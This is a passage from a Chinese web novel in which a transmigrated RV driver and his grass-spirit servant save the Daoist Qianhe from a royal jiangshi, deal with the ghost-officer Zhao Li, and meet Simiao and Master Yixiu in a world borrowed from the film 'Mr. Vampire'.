一双原本清亮的眼眸,此刻布满了血丝,深处是难以掩饰的疲惫与……一丝决绝的死志。
在他前方不远处,一具穿着清朝王爷制式官服的僵尸,正缓缓转过身。
它的身边横七竖八的躺着不少穿着官兵衣服的尸体。
这僵尸皮肤呈现一种诡异的青黑色,在月光下泛着金属般的冷光,十指指甲乌黑尖锐,长达数寸,滴落着粘稠的尸液。
它那双眼睛,不像普通僵尸的浑浊呆滞,而是透着一股残忍、暴戾,甚至带着几分狡猾的灵光!
它喉咙里发出“嗬嗬”的低沉嘶吼,死死锁定着千鹤道长,显然不打算放过这个重伤的猎物。
浓郁的黑色尸气如同实质的烟雾,从它周身毛孔散发出来,将周围的草木都染上了一层灰败。
“唉……想不到我千鹤今日要毙命于此……”
千鹤道长心中一片冰凉,法力几乎耗尽,法器尽毁,已是**之末。
他勉强提起最后一丝法力,准备施展同归于尽的禁术,就算不能消灭此寮,也要重创于它,为师弟四目争取条件。
就在这千钧一发之际——
异变陡生!
千鹤道长与那皇族僵尸之间的空地上方,空间毫无征兆地发生了一阵剧烈的扭曲,仿佛平静的水面被投入巨石!
紧接着,一道刺目的白色光芒凭空爆发,瞬间照亮了昏暗的林间空地!
光芒中,一个巨大、方正、通体纯白、造型奇特的“铁盒子”伴随着一阵低沉的嗡鸣声,突兀地显现出来!
这铁盒子庞大无比,比最大的马车还要大上几圈,表面光滑得能反射月光,没有马匹牵引,也没有任何常见的动力装置,就那样突然出现在空地上!
还没等千鹤道长和那皇族僵尸反应过来这究竟是什么玩意儿,这白色铁盒子猛地向前一“拱”!
“嘭!!!”
一声沉闷如击败革的巨响!
那刀枪不入,力大无穷的皇族僵尸,就像是被一头狂奔的巨象迎面撞上,毫无反抗之力地离地飞起,划过一道抛物线,重重砸在七八米开外的一棵大树上,震得落叶簌簌而下!
白色铁盒子(房车)稳稳地“落”在地上,车身连晃都没晃一下。
车内,副驾驶座上的阿草眨了眨大眼睛,指着前方飞出去的黑影,语气带着几分惊讶:“老板,你好像……撞到人了诶?”
驾驶座上,古德一脸懊恼地拍了一下方向盘:“靠!这狗系统!传送能不能靠谱点!直接怼人脸上?老子保持了这么久的零事故记录,就这么被你破了!”
阿草又“咦”了一声,好奇地透过挡风玻璃望去:
“老板,你看,那个人……他又站起来了!哇,他穿的衣服好奇怪哦,好像是……清朝的官服?而且他脸色好青,指甲好长,眼睛还会放红光……他是僵尸啊!”
“老板,这样你就不算撞到人了。”
阿草对着古德安慰道。
“僵尸?”古德一愣,也仔细看去。
借着车灯和月光,他看清了那具正从地上爬起,对着房车龇牙咧嘴,发出愤怒嘶吼的人,那浓郁的尸煞之气和打扮的确是一具僵尸。
“还真是僵尸?这系统把我传送到什么鬼地方了?清末片场吗?一来就给我整这出?”
古德推开车门,他心念一动,沟通房车的空间收纳功能,一把造型古朴,却隐隐流动着星辉的青铜阔剑瞬间出现在他手中。
这把剑经过那天的周天星斗之力和那次的神力淬炼,早已非同凡响。
剑身之上,竟然出现七个如同北斗七星排列的玄奥光点微微闪烁,散发出破邪诛魔的凛然气息。
古德手持青铜阔剑,目光落在那个刚刚爬起,对自己怒目而视的僵尸身上。
这时,靠在树下的千鹤道长终于从极度的震惊中回过神来。
他虽然没见过这种能凭空出现、还能撞飞僵尸的“铁甲怪兽”,但下车之人手持法剑,气息纯正,显然是同道中人!
他顾不上多想,用尽力气嘶声喊道:
“那位道友!快走!此地凶险!这乃皇族僵尸,被雷劈后已成精破棺,铜皮铁骨,力大无穷,更已不惧寻常雷法!贫道已是**之末,莫要白白送了性命!快走
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啊!”
古德闻言,眉头一挑,心中嘀咕:
“成精?能有多精?有当初那个秦尸那么精吗?”
他下意识地想先去看看那个出声提醒他的伤者情况。
然而,那皇族僵尸被房车撞飞,已是暴怒异常!
它虽初开灵智,但野兽般的本能让它对眼前这个从铁盒子里下来、散发着令它厌恶气息的生物充满了杀意!
它发出一声震耳欲聋的咆哮,周身尸气暴涨,双腿猛地蹬地,坚硬的地面都被踏出两个浅坑,身影如一道黑色闪电,带着腥风,直扑古德面门!
十指如钩,直取古德咽喉和心口!
“来得好!”古德虽惊不乱!
他体内黄庭内景玉经运转,浑厚的法力瞬间灌注全身!
一层凝练如实质的金色光芒透体而出,将他周身护得严严实实,正是金光咒!
同时,他双手握紧青铜阔剑,剑身金光大盛,迎着扑来的僵尸,就是一记看似朴实无华,实则蕴含着他强大肉身力量与法力的横扫千军!
“噹——!!!!!”
青铜阔剑与僵尸坚硬如铁的臂膀狠狠碰撞在一起!
竟然发出了金铁交鸣的巨响!
甚至爆起了一连串刺眼的火星!
古德只觉一股巨力从剑身传来,震得他手臂发麻,虎口微微生疼,脚下不由得“噔噔噔”后退了半步才稳住身形。
而那皇族僵尸也被这势大力沉的一剑劈得向后翻了个跟头,落地后晃了晃脑袋,显然也不好受。
“我靠!这么硬?!”古德心中暗惊。
这僵尸的身体强度,远超他之前遇到过的任何鬼物妖邪!
简直就像砍在了一块千锤百炼的精钢上!
一击试探,古德不敢怠慢。
他左手迅速抬起,体内五脏精气涌动,小神通阳五雷零帧起手!
嗤啦!
一道炽白耀眼、至阳至刚的雷光从他掌心迸发而出,如同灵蛇般射向僵尸胸口!
然而,接下来的一幕让古德瞳孔微缩。
雷光精准地打在僵尸胸口,发出“噼啪”炸响,却只是让它身上的官服焦黑了一小块,冒起一缕青烟,僵尸本身只是动作微微一滞,发出一声不满的低吼,竟似毫发无伤!
它那双猩红的眼睛死死盯着古德,充满了暴戾,却没有再立刻扑上,似乎也察觉到了眼前这个“食物”不太好惹,开始谨慎地对峙起来。
第255章 直接砍成尸棍
“道友小心!此獠曾经吸食了至亲血脉,又得皇家阴脉滋养,刚才更是被雷劈炼体。
已生异变,对寻常雷法有了抗性!”
千鹤道长见状,连忙强忍着伤痛再次提醒。
古德点了点头,表示明白。
他心中快速分析着:“肉身强横堪比金石,对阳雷有极高抗性,还懂得审时度势……这僵尸的品质很高啊,煞气浓度都超过那那秦尸了,但偏偏感觉还没到半步飞僵的层次……真是古怪。”
不知道何时,秦尸成了古德对僵尸的计量单位。
他头也没回,对车里的阿草吩咐道:
“阿草,去看看那位道长,帮他处理下伤势。”
“知道啦,老板!”
阿草应了一声,利落地跳下车,从车厢里拿出一个急救箱,小跑到千鹤道长身边。
她蹲下身,熟练地打开箱子,拿出消**水和纱布。
千鹤道长看着眼前这个容貌俏丽、气息却非人类的女子,微微一愣,下意识地问道:
“姑娘……你是……草妖?”
阿草一边麻利地帮他清理手臂上的一道深可见骨的抓伤,一边抬起头,露出一个甜甜的笑容:
“是呀道长!不过你放心,我现在是老板的仆从,专门帮老板打杂救人的!我可是个好妖,不害人的!”
她笑起来眼睛弯弯的,显得人畜无害。
千鹤道长看了一眼正在与僵尸对峙,气息纯正浩然的古德,心中了然,点了点头。
他并非迂腐之人,深知万物有灵,善恶在心不在出身。
虽然阿草的气息看起来带着些魔性,但是能感受到性格并不坏。
便放松下来,任由阿草施为。
阿草看到千鹤道长身上还有好几处伤口都在发黑流脓,散发着淡淡的腐臭,显然是尸毒入侵。
她立刻又跑回房车,从储物空间里翻找起来。
很快,她拿着几个印着“陈氏特效”字样的牛皮纸包和一个小瓷瓶跑了回来。
“道长,这是特效尸毒敷包和解**水,您快用上!”
阿草撕开一个敷包,里面是经过特殊法门炮制,散发着淡淡清香的糯米。
她手脚麻利地将糯米粉敷在千鹤道长的伤口上,那敷料一接触到发黑的皮肉,立刻发出“滋滋”的轻微响声,冒出丝丝黑气,伤口的颜色以肉眼可见的速度变浅。
接着,她又把那个小瓷瓶递给千鹤道长。
千鹤道长接过瓷瓶,拔开塞子,闻到一股混合了多种草药和法力的清香,没有丝毫犹豫,仰头便将药水喝了下去。
一股清凉之意瞬间流遍四肢百骸,压制住了体内蠢蠢欲动的尸毒,精神都为之一振。
他感激地看了阿草一眼:“多谢姑娘。”
另一边,古德与皇族僵尸的对峙并未持续太久。
那僵尸终究凶性压过了谨慎,再次咆哮着扑来!
古德眼神一凝,不再留手!
体内法力澎湃涌动,周身金光骤然变得刺目,仿佛一轮小太阳!
他脚踩罡步,身形如风,主动迎上!
“荡秽七式·扫尘!”
青铜阔剑化作一道道金色流光,或劈或砍,或刺或撩,招式大开大合,专门针对邪祟秽气!
剑风呼啸,将周围的尸气都搅得翻滚不休!
那皇族僵尸挥舞着利爪,凭借刀枪不入的身躯硬抗,爪剑相交,不断爆出火星和闷响!
它力大无穷,每一次碰撞都让古德感到气血翻涌,但古德的剑法精妙,法力深厚,总是能在间不容发之际避开要害,并在它身上留下道道白痕,虽然无法破防,却也打得它怒吼连连。
久攻不下,古德心念一动,暗中用剑身的七星沟通天上星辰!
虽然此界星辰可能与港综略微不同,但北斗主死的法则之力却依旧可以引动!
“北斗注死,贪狼破煞!”
他低喝一声,剑势陡然一变,青铜阔剑上的七颗星点骤然亮起,引下一缕凌厉无比的破军星煞之力,融入剑罡之
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中!
这一剑,快如闪电,直刺僵尸心窝!
“嗤——!”
这一次,不再是火星,而是如同烧红的烙铁刺入牛油!
剑尖竟然突破了那层坚不可摧的防御,直接刺入了僵尸胸口半寸!
一股腥臭的黑血和尸气飙射而出!
“嗷!!!”
皇族僵尸发出了惊天动地的惨嚎,眼中第一次露出了难以置信和恐惧的神色!
它的铜皮铁骨,竟然被破了!
它身上尸气疯狂涌动,逼退古德的长剑,转身就想施展土遁之术逃跑!
本能告诉它,这个人类太危险了!
“想跑?晚了!”
古德冷笑,得势不饶人!
脚下步伐更快,剑光再起!
“唰!”一剑上撩,蕴含着破邪之力的剑罡划过,僵尸一条左腿齐膝而断!
“嗷!”僵尸失去平衡,扑倒在地。
古德毫不手软,又是连续两剑!
“唰!唰!”
剑光闪过,僵尸的右臂和右腿也应声而断!
转眼之间,刚才还凶威赫赫的皇族僵尸,就变成了一根只剩下躯干和脑袋的尸棍,在地上徒劳地挣扎、嘶吼,却再也无法移动分毫,只能散发着浓郁的怨毒和恐惧。
不远处,正被阿草扶着坐起来的千鹤道长,亲眼目睹了这电光火石间、凶残无比的一幕,整个人都僵住了,下意识地咽了口唾沫,感觉后背有点发凉。
他扯了扯正在给他包扎手臂的阿草,声音带着一丝不易察觉的颤抖,小声问道:
“阿……阿草姑娘……你家老板……他一直都这么干脆利落的吗?”
阿草歪着头想了想,一边熟练地打了个漂亮的蝴蝶结,一边用理所当然的语气说道:
“他这次还温柔多了!”
千鹤道长:“……”
他看着古德提着剑,面无表情地走向那还在蠕动的僵尸棍,再次默默地咽了口唾沫。
这位道友除魔卫道的风格,真是独具一格啊!
第256章 这个世界的鬼差
古德提着仍在微微嗡鸣的青铜阔剑,走到那摊已经变成尸棍,只能徒劳扭动嘶吼的皇族僵尸跟前。
他用脚尖不轻不重地踢了踢僵尸那还算完整的躯干,将其翻了个面,使其面部朝上,正对着自己。
借着清冷的月光和房车投射出的光柱,古德仔细打量着这张狰狞扭曲的僵尸脸。
青黑色的面皮紧绷,獠牙外翻,一双猩红的眼珠子里充斥着怨毒与恐惧。
身上那件破烂不堪、却仍能看出曾经华贵的清朝王爷官服,以及刚才交手时展现出的惊人防御力和对雷法的诡异抗性……
这些特征组合在一起,让古德隐隐觉得有些熟悉感,似乎在哪个电影里见过类似设定。
“啧,这造型,这硬度,这不怕雷劈的德行……”
古德摩挲着下巴,心里嘀咕,“怎么越看越像那个叫《僵尸叔叔》的片子里面,那个差点把千鹤道长送走的皇族僵尸……”
想到这里,他心中一动,下意识地回头瞥了一眼正被阿草搀扶着坐起来的那个道士。
虽然对方此刻狼狈不堪,脸色苍白,但那股子正气凛然的气质和眉眼间的坚毅,似乎还真是那个只打巅峰赛的千鹤道长。
“如果真是他……那我现在岂不是跑到《僵尸叔叔》的电影世界里了?”
古德心里泛起一丝古怪的感觉,“这么说,现在应该是民国时期?还好系统规则改了,开车就能赚里程点。不然在这年头,难不成让我去拉黄包车赚公里数?那画面太美我不敢看……”
他暗自吐槽了一下系统的贴心改动。
不过,猜测归猜测,表面功夫还是要做的。
毕竟自己这出场方式太过惊世骇俗,一个巨大的铁盒子凭空出现,还撞飞了僵尸……对方心里肯定满是疑问。
与其等对方盘问,不如自己主动出击,掌握对话主动权。
他心念一动,手中的青铜阔剑化作一道流光消失,被收回房车的储物空间。
然后,他脸上挤出一个和善的笑容,转身朝着千鹤道长走去。
千鹤道长见古德提着那把煞气凛然的阔剑朝自己走来,虽然对方刚刚救了自己,但目睹了古德处理僵尸那凶残的手段,心里还是忍不住打了个突,下意识地往后缩了缩。
他勉强扯出一个有些僵硬的笑容,率先开口,语气带着劫后余生的庆幸和一丝不易察觉的敬畏:
“多……多谢古道友好本事!今日若非道友仗义出手,贫道恐怕……恐怕真要在此地殉道了。救命之恩,没齿难忘!”
古德摆了摆手,语气尽量放得平淡:
“道长客气了,路见不平罢了。”
他走到近前,看似随意地蹲下身,目光扫过千鹤道长身上已经被阿草初步处理过的伤口,那些敷料正在滋滋地冒着淡淡的黑气,效果看起来不错。
他继续用自然的语气问道:
“在下古德,一介游方之人。还未请教道长尊号?此地是何处地界?如今又是什么年月了?”
他问得直接又,仿佛只是迷路的旅人在打听方向和时间,绝口不提自己从何而来、那铁盒子又是何物。
潜台词也有“我知道你很疑惑,但我不想解释,你也别多问”的意思。
千鹤道长眼神闪烁了几下,目光在古德脸上、不远处那辆神奇的铁块、以及乖巧站在一旁的阿草身上扫过,心中念头急转。
此人来历神秘,手段通天,看似年轻,行事却老辣果断,最重要的是,其一身法力纯正浩大,绝非邪魔外道。
既然对方不愿透露根脚,自己贸然追问反而不美,不如结个善缘。
他定了定神,压下心中的诸多疑问,选择如实相告,言语间还带着几分这个时代特有的印记:
“古道友好。贫道茅山派千鹤。此地乃是两广交界的雾隐山,山高林密,人烟稀少。”
他顿了顿,似乎在斟酌用词,才继续说道:“至于年月……若按如今民国政府的算法,眼下是民国二十年,冬月。不过……”
他声音略微低沉了一些,带着一种复杂的情绪,“贫道虽方外之人,亦曾受清廷敕封,在心中,仍奉大清宣统皇帝年号。此刻,圣驾暂居天津,我大清……法统犹存。”
这番话信息量不小。
古德听完,心里基本有数了。
“民国二十年……大概三十年代初。大清完了,但没完全完,还有个逊帝在天津当寓公。
千鹤道长……看来没错了,就是《僵尸叔叔》开局祭天的那位巅峰赛选手。这么说,四目道长、一休大师他们应该也在这附近?”
他对这个世界的背景有了大致的了解,便不再继续追问细节,免得言多必失。
他点了点头,表示知晓,随即很自然地转移了话题,语气带着关切:
“原来是千鹤道长。道长伤势不轻,又耗费元气,想必腹中饥饿了吧?我这儿还有些干粮,若不嫌弃,先用些垫垫肚子。”
说完,他也不等千鹤道长客气推辞,便转头对正在收拾药箱的阿草吩咐道:
“阿草,去车里拿点吃的喝的出来。嗯……就拿三号柜里那些炸鸡、汉堡和快乐水吧,我给柜子开了权限。”
那辆白色房车内部,经过系统升级,拥有数个连接着扩容空间的分类储物柜,具有神奇的保鲜保温功能。
三号柜专门存放古德准备的各类现代速食和零食,此刻正好拿来应急兼装个逼。
阿草乖巧地应了一声“是,老板”,小跑着回到房车旁。
只见她伸手在光滑的车身上某处一按,一道微光闪过,车厢侧面竟无声地滑开一个小舱门。
她探身进去,不一会儿,就抱着一个印着陌生logo的纸袋和几杯插着吸管的饮料走了出来。
那炸鸡的浓郁香气和碳酸饮料特有的甜味,顿时在这充满尸臭和血腥味的林间弥漫开来,显得格外突兀。
千鹤道长看着阿草递到面前的、用奇怪油纸包着的金黄块状物(炸鸡)和印着花花绿绿图案的硬纸杯(可乐),鼻子抽动了一下,那从未闻过的香味让他口腔不自觉分泌唾液,但眼中却充满了茫然和警惕。
这……这是何物?吃食?为
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何模样如此古怪?香气竟如此……诱人?
古德看出他的疑虑,随手拿起一个汉堡,自己先大大地咬了一口,咀嚼了几下,含糊不清地说道:
“唔……道长放心,没毒,就是些异域风味的小吃,味道还行,试试。”
他又拿起一杯快乐水,插上吸管吸了一口,发出满足的叹息。
见古德吃得香甜,千鹤道长犹豫了一下,腹中的饥饿感最终战胜了谨慎。
他道了声谢,学着古德的样子,小心翼翼拿起一块炸鸡,试探着咬了一小口。
外皮酥脆,内里鲜嫩多汁的独特口感,以及那混合了多种香料的复合味道,瞬间征服了他疲惫的味蕾。
他眼睛微微一亮,也顾不得什么形象了,开始小口却快速地吃了起来。
那杯黑乎乎的、冒着气泡的糖水(可乐)初入口时那股刺激感让他皱了皱眉,但随后泛起的甜意和冰爽又让他觉得颇为新奇解渴。
趁着千鹤道长吃东西补充体力的工夫,古德再次将目光投向了地上那摊皇族僵尸。
“这玩意儿……煞气这么重,品质看起来比之前那个小鬼子半尸高多了。既然那个都能卖给岚婆换阴德,这个没理由不行吧?”
他现在虽然是很缺油钱的,还有两万三的阴德在。
但是阴德可永远不嫌多的。
想到这儿,他不再犹豫。
他走到一旁,从空间里取出岚婆给的那块非金非木的青色令牌,将其竖直插在较为松软的地面上。
接着,他心念再动,从车内空间取出了四根特制的、约莫一尺长的暗红色线香。
他手指在香头轻轻一搓,香头便自动点燃,散发出一种清幽、却能宁神静气的奇异香气。
他将四根香并排插在令牌前方的地上,然后清了清嗓子,对着令牌说道:
“岚婆,岚婆,在不在?喂,收到请回话,地瓜呼叫番茄!”
连续喊了几声,令牌和线香都没有任何反应。
就在古德以为信号不好,或者岚婆的业务范围没覆盖到这里,准备再想他法时——
突然,一个略带沙哑、透着几分慵懒和玩世不恭的年轻男声,毫无征兆地从古德侧后方的树林阴影里传了出来:
“嘿,兄弟,别喊了。岚婆她老人家业务繁忙,这片儿暂时过不来,委托我过来跑一趟。”
古德心中一惊,猛地转头望去!
以他如今的灵觉,竟然没察觉到有人靠近!
只见月光下,一个穿着黑色皮质马甲、下身是修身皮裤、脚蹬马丁靴的年轻男子,正懒洋洋地靠在一棵老槐树的树干上。
他留着利落的短发,额前几缕挑染成银白色,嘴角叼着一根未点燃的香烟,五官硬朗中带着一丝邪气。
整个人散发着一股亦正亦邪、神秘莫测的气息。
见古德看过来,他咧嘴一笑,露出两排整齐的白牙,随手将嘴里的烟拿下来别在耳后,然后朝着古德伸出了一只手:
“我叫赵吏,是这个世界的鬼差。你就是岚婆嘴里经常念起的古德古兄弟吧,久仰大名。”
第257章 这货不值钱
古德听到“赵吏”这个名字,眉头下意识地一挑,心中瞬间闪过诸多念头。
赵吏?《灵魂摆渡》里的那个鬼差?
好家伙,看来这个世界的水比想象中还要深,居然和那个世界观也有牵连?
他想起之前小宜似乎提过一嘴,拜在了一位叫茶茶的大人物门下学艺,当时就猜到是你个冥王阿茶了。
只不过在港综世界里两者不是一个世界的。
现在看来,这个世界里就有《灵魂摆渡》的剧情线。
只不过距离剧情开始的时间,还非常早,赵吏到是早早的出现了。
而眼下,他现在被系统丢过来的时间里,还碰上了千鹤道长和这个皇族僵尸,保不齐附近就住着四目道长,甚至……那位鼎鼎大名的九叔林凤娇?
这阵容,让古德感觉有点莫名的兴奋,在港综遇不到的九叔他们,没想到在这个世界能碰到了。
不过,这些杂念只是一闪而过,当前最重要的是处理手头的事情,以及和这位突然出现的鬼差赵吏打交道。
他脸上迅速堆起一个熟络的笑容,伸出手和赵吏握了握,感觉对方的手心微凉。
“原来是吏哥!久仰大名,如雷贯耳啊!”
古德嘴上说着客套话,另一只手则熟练地从口袋里摸出一包没拆封的万宝路,抖出一根递了过去,“来,吏哥,抽一根?”
赵吏似乎有些意外古德的表现,嘴角的笑意加深了些,也没客气,接过烟,用法力点饭,深深吸了一口,吐出一个烟圈,动作娴熟流畅,一看就是老烟枪。
“谢了,古兄弟。你这烟不错。”
他瞟了一眼烟盒。
“凑合抽。”
古德自己也点上一根,两个男人就这么在弥漫的尸臭和硝烟味中,旁若无人地吞云吐雾吹起牛逼来,气氛一时间竟显得有些和谐。
另一边,刚啃完一个汉堡、正小口啜饮着冰可乐的千鹤道长,看到这一幕,眼珠子都差点瞪出来,嘴巴张得能塞进一个鸡蛋!
他看到了什么?
古德道友……就这么随手把一位地府阴差给召唤上来了?
而且看两人这勾肩搭背、抽烟聊天的架势,简直比多年老友还熟络!
这……这成何体统!
他平时想要沟通地府,哪次不是要设坛做法、备足冥钞贡品,还得看鬼差的心情好不好!
这位古道友好大的面子!
他到底是什么来头?
莫非是某位游戏人间的上界真仙?
千鹤道长只觉得自己的世界观受到了巨大的冲击,看向古德的眼神里充满了敬畏和难以言说的困惑。
阿草则是一脸“我老板果然牛逼”的崇拜表情,小脑袋昂得高高的,与有荣焉。
在她心里,古德就是无所不能的,认识个把鬼差算什么?
基本操作啦!
赵吏又吸了口烟,语气已然带着几分熟稔:“阿德,咱们也别绕圈子了。岚婆那边可没少夸你,说你手头总有好东西。
这次急吼吼地叫我们上来,是又搞到什么
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稀罕玩意儿了?快拿出来让哥哥我开开眼。”
古德耸了耸肩,用夹着烟的右手拇指朝身后那堆零件指了指,语气带着点无奈和期待:
“嗐,我这也是刚落地,还没搞清楚东南西北,就撞上这玩意儿了。这货皮糙肉厚,还会点土遁,废了我不少手脚。想着岚婆路子广,就喊她上来问问,看这东西……下面收不收?能换几个阴德花花?”
他现在可是很缺燃油费的。
赵吏闻言,掐灭了还剩半截的烟头,用鞋尖碾了碾,这才慢悠悠地踱到那皇族僵尸跟前。
他蹲下身,也没用手去碰,只是歪着头,用那种打量猪肉的眼神上下扫视了几遍,甚至还嫌弃地用手在鼻子前扇了扇风。
“啧……”
他发出一个不满意的咂嘴声,站起身,拍了拍手上并不存在的灰尘,对古德摇了摇头。
“阿德,这回恐怕要让你失望了。这玩意儿……我们下面不收。”
“哦?不收?”
古德眉毛都没动一下,只是平静地点了点头,仿佛早有预料。
他心念微动,那把闪烁着星辉的青铜阔剑再次出现在手中。
没有半分犹豫,在千鹤道长和赵吏都没反应过来的瞬间,他手腕一抖,剑尖如同毒蛇出洞,精准地刺入了皇族僵尸唯一还算完好的胸口心脏位置!
“噗嗤!”
一声轻微的、如同刺破败革的声响。
剑身上附着的破邪星力瞬间爆发,将那点残存的尸王本源绞得粉碎!
第258章 来了一个道士和一个和尚
那皇族僵尸猛地抽搐了一下,喉咙里发出几声意义不明的、如同破风箱般的“嗬嗬”声,猩红的眼珠瞬间黯淡下去,彻底没了声息。
紧接着,古德左手一翻,指间已然夹住了厚厚一叠明黄色的离火符。
他手腕一甩,符箓如同长了眼睛般,精准地贴在了僵尸的躯干和散落各处的残肢上。
随即,他打了一个清脆的响指。
“轰——!”
符箓瞬间无火自燃,爆发出炽白色的、温度极高的灵火!
火焰跳跃着,发出“噼啪”的声响,迅速将僵尸的残骸吞没。
那坚逾精钢的躯体在灵火的灼烧下,竟如同浸了油的枯木般快速碳化、分解,散发出难闻的焦臭味,但其中蕴含的邪煞之气也被一并净化。
这一连串的动作快如闪电,干净利落,充满了果断。
赵吏被古德这突如其来的毁尸灭迹的行为弄得愣了一下,下意识地后退了半步,嘴角抽搐了两下,才带着几分惊叹和无语的语气说道:
“我靠……阿德,你小子下手是真狠啊!哥哥我算是服了!”
古德甩了甩剑身上并不存在的灰烬,将青铜阔剑收起,脸上露出一个人畜无害的笑容:
“吏哥过奖了。既然没价值,留着也是祸害,万一被什么邪修捡去,岂不是更麻烦?一把火烧干净,一了百了,大家都清净。”
他顿了顿,又露出疑惑表情,问道:
“不过吏哥,我有点不明白。上次我卖给岚婆一个半鬼半尸的东瀛小鬼子,虽然实力不咋地,但岚婆说下面有大佬感兴趣。怎么这次这个皇族僵尸,看着煞气更浓,反而不要了?难道还看产地和品种?”
赵吏抱起胳膊,摆出一副资深人士的派头,解释道:
“这你就不懂了吧。收东西也得看稀缺性和研究价值。上次那个东瀛货,首先它身份就有大佬会卖,还有就是下面有些大佬就喜欢收集这些稀奇古怪的试验品。其次,它那个半鬼半尸的状态比较罕见,是有研究价值。”
他指了指地上那堆快烧成灰的残骸,语气带着不屑:
“至于眼前这货,说白了,就是一只运气好点,吸了点皇族血脉和地脉阴气,产生了一点变异的本土僵尸而已。除了硬点,和变异后对雷法有点抗性,没啥特别的。像这种太常见了,收来干嘛?当柴烧都嫌烟大。”
他摊了摊手,“所以,不是不收货,是这货……不值钱。”
古德恍然大悟地点了点头:“原来如此,多谢吏哥指点,长见识了。”
看来地府的买卖也讲究个物以稀为贵。
就在这时,赵吏的耳朵微微动了一下,目光锐利地扫向山林深处的某个方向。
他侧耳倾听片刻,随即对古德笑了笑,说道:
“阿德,好像有人往这边来了,听着脚步像是冲这儿来的。没事的话,哥哥我就先撤了。茶茶大人最近脾气不太好,催得紧,我得回去点个卯。”
他往前凑近一步,压低声音,对古德挤挤眼:
“下次再搞到什么好玩意儿,直接喊我。放心,哥哥我这边的抽成,绝对比岚婆实惠!”
说着,他还比划了一个“你懂的”手势。
古德会意,比了个OK的手势,笑道:“成,下次有货,联系吏哥你
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。”
赵吏满意地点点头,不再多言。
他整个人向后一退,身形就如同融入水中的墨迹一般,悄无声息地没入了旁边一棵大树的阴影里,瞬间消失得无影无踪,连一丝阴气波动都没有留下,仿佛从未出现过。
几乎在赵吏消失的同时,古德也清晰地听到,从树林的另一侧,传来了急促而杂乱的脚步声,中间还夹杂着焦急的呼喊声:
“师弟!千鹤师弟!你在哪里?”
“千鹤道友!听到应一声!”
“刚才这边有火光和动静!”
声音由远及近,很快,两道身影一前一后,略显狼狈地从密林中钻了出来。
跑在前面的是一个身材微胖、戴着圆圆的黑框眼镜、穿着皱巴巴道袍的中年道士,他脸上满是焦急和汗水,手里还紧紧攥着一把有些年头的桃木剑,正是四目道长。
紧跟在他身后的,则是一个穿着灰色僧袍、手持禅杖、头顶戒疤清晰可见的老和尚。
老和尚面色红润,目光炯炯,虽然也在奔跑,但气息却比四目道长沉稳得多,正是一休大师。
两人冲出树林,一眼就看到了场中诡异的景象。
一辆从未见过的巨大白色铁盒子静静停着。
不远处,一堆篝火在熊熊燃烧,散发着焦臭。
千鹤道长浑身贴满膏药、略显虚弱地坐在地上,旁边还站着一个俏生生的陌生姑娘;而最引人注目的,是那个站在火堆旁、气定神闲、穿着打扮与周遭环境格格不入的年轻男子。
四目道长和一休大师的目光,齐刷刷地定格在了古德身上,脸上写满了惊疑和警惕。
第259章 应激的千鹤道长
千鹤道长看到从林中疾步奔出的四目道长和一休大师,紧绷的心弦终于松懈下来,苍白的脸上露出一丝宽慰。
他强撑着虚弱的身子,抬手向两人示意,声音虽然沙哑却带着明显的感激:
“师兄,一休大师,你们来了。贫道无事,多亏了这位古道友善心出手,方才险死还生。”
他侧过身,将古德让到更显眼的位置,郑重介绍道:“古道友,这位是贫道的师兄,茅山派四目。这位是我师兄的邻居,一休大师。”
四目道长和一休大师闻言,警惕的神色稍缓,但目光中仍带着审视与好奇,仔细打量着古德这个突然出现,衣着奇特还带着个草妖仆从的神秘人物。
四目道长率先上前一步,扶住摇摇欲坠的千鹤,同时朝古德打了个稽首,语气诚挚:
“原来是古道友!贫道四目,多谢道友仗义出手,救我师弟于危难!此恩我茅山派铭记于心!”
他虽然性子有些跳脱计较,但恩怨分明,对古德这个救命恩人,礼数十分周到。
一休大师也双手合十,口诵佛号:“阿弥陀佛!善哉善哉!古施主功德无量。”
他目光澄澈,带着洞察世事的平和,更多了几分探究的意味。
古德随意地摆了摆手,脸上带着云淡风轻的笑容,仿佛只是做了一件微不足道的小事:
“四目道长、一休大师,客气了。我也是恰逢其会,路见不平而已。”
他话锋一转,带着几分恰到好处的疑惑问道:“不过,这深山老林的,二位怎么会深夜到此?”
四目道长一边小心检查着千鹤的伤势,发现伤口处理得极好,尸毒也被拔除干净,心中对古德的手段更是高看几分,闻言叹了口气,解释道:
“唉,不瞒古道友,贫道今晚在观中打坐,忽然心绪不宁,眼皮直跳,总觉得师弟这趟押送客户要出岔子。放心不下,匆匆赶来,没想到还是晚了一步,幸好道友在此。”
他脸上满是后怕与庆幸。
古德点了点头,表示理解。
修道之人灵觉敏锐,对亲近之人的吉凶祸福有所感应,实属正常。
就在这时,一阵令人毛骨悚然的、如同破风箱喘息般的“嗬嗬”声,从战场四周断断续续地响了起来。
众人循声望去,只见那些先前被皇族僵尸吸干鲜血而死、横七竖八躺在地上的官兵尸体,此刻竟开始剧烈地抽搐起来,关节发出“咔吧咔吧”的怪响,然后动作僵硬地、摇摇晃晃地站了起来!
它们眼神空洞,面色青黑,嘴角流下涎水,赫然已经变成了最低等的行尸!
千鹤道长的目光,尤其悲痛地定格在了其中四具穿着简陋道童服饰的年轻行尸身上。
那是他一手带大、视若亲子的四个徒弟——东、南、西、北!
此刻他们也变成了这般不人不鬼的模样!
千鹤道长眼圈瞬间红了,声音哽咽,充满了无尽的自责与悲伤:
“东、南、西、北……是为师无能,对不住你们……没能护你们周全……”
他闭上双眼,两行清泪顺着脸颊滑落。
片刻后,他猛地睁开双眼,眼中虽仍有悲恸,却已被决绝之色取代:
“尘归尘
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,土归土!既然尔等已非人身,为师……便送你们最后一程,助你们解脱,早日入土!”
说着,他就要强提一口法力,挣扎着起身亲手了结徒弟们的痛苦。
四目道长见状,脸上也露出不忍之色,拍了拍千鹤的肩膀,沉声道:
“师弟,节哀。东、南、西、北他们是为降妖伏魔而殉道,死得其所,是我茅山弟子的光荣!让他们安息吧!”
他的声音带着安慰,也有一丝难以掩饰的痛心。
一休大师更是低眉垂目,双手合十,高声诵念起往生咒文。
古德看着这略显拖沓的善后场面,微微皱了皱眉。
他倒不是冷血,只是觉得事情宜早不宜迟,他想尽快处理完这些琐事,好看看系统到底给他派了个什么任务,以及研究一下升级后的房车。
于是他开口:“阿草,去……”
“古道友!且慢!”
他话还没说完,就被千鹤道长急声打断。
千鹤道长一脸紧张地看着古德,生怕他下一步就是直接砍瓜切菜,挫骨扬灰。
他可是亲眼见过古德处理那皇族僵尸的样子,连忙道:
“古道友,好意心领!但我那四个不成器的徒儿……还请让贫道自己来送他们走吧!”
